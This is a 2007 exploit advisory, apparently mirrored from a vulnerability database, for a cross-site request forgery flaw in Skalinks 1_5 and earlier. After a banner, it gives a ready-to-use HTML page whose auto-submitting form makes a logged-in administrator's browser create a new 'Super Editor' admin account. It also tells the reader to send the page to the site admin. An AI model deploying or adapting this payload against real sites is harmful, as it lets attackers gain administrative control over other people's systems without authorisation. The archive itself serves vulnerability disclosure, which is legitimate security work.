Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18348
HistoryNov 05, 2007 - 12:00 a.m.

Skalinks <= 1_5 Cross Site Request Forgery Add Admin

2007-11-0500:00:00
vulners.com
62

##########################################################################

_ _ _ _ _____ _ _

| | | | | | () | | () | |

| |_| | __ _ ___| | ___ _ __ __ _ | | _ __ ___ _ __| | ___

| _ |/ _` |/ _| |/ / | ' \ / ` | | || ' \/ __| |/ _` |/ _ \

| | | | (| | (__| <| | | | | (| | | || | | \_ \ | (_| | __/

\| |/\,|\||\\|| ||\, | \/| ||/|\,|\__|

__/ |

|___/

##
| |
| Site: www.hackinginside.altervista.org |
| Project: Skalinks <= 1_5 Cross Site Request Forgery Add Admin |
| Author: Vincy |
| Email: [email protected] |
|
|

This code, must be saved in a HTML page and sended to the site admin. So the admin will add a new admin in the mySQL with
that info.
It work only if admin's logged.


<form action="http://site.com/path/admin/admin_account.php&quot; name="add_admin" method="post">
<input type="text" name="admin_name" value="[ NOME ]">
<input type="text" name="admin_password" value="[ PASSWORD ]">
<input type="text" name="admin_email" value="[ EMAIL ]">
<select name="admin_type"><option value="2">Super Editor</option></select>
<input type=hidden name="Add_admin" value="Add Admin">
</form>
<script>document.add_admin.submit()</script>

Vincy - Hacking Inside Crew